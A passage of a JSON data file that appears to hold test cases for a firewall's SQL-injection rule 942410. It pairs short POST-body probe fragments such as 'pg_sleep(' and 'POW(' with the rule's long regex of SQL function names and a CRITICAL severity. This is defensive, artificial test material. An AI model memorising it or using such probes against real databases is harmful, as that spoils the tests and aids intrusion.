"", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "password/?(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Password>$(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pg_sleep(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pi(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "PI(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pow(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "POW(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "quarter. (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)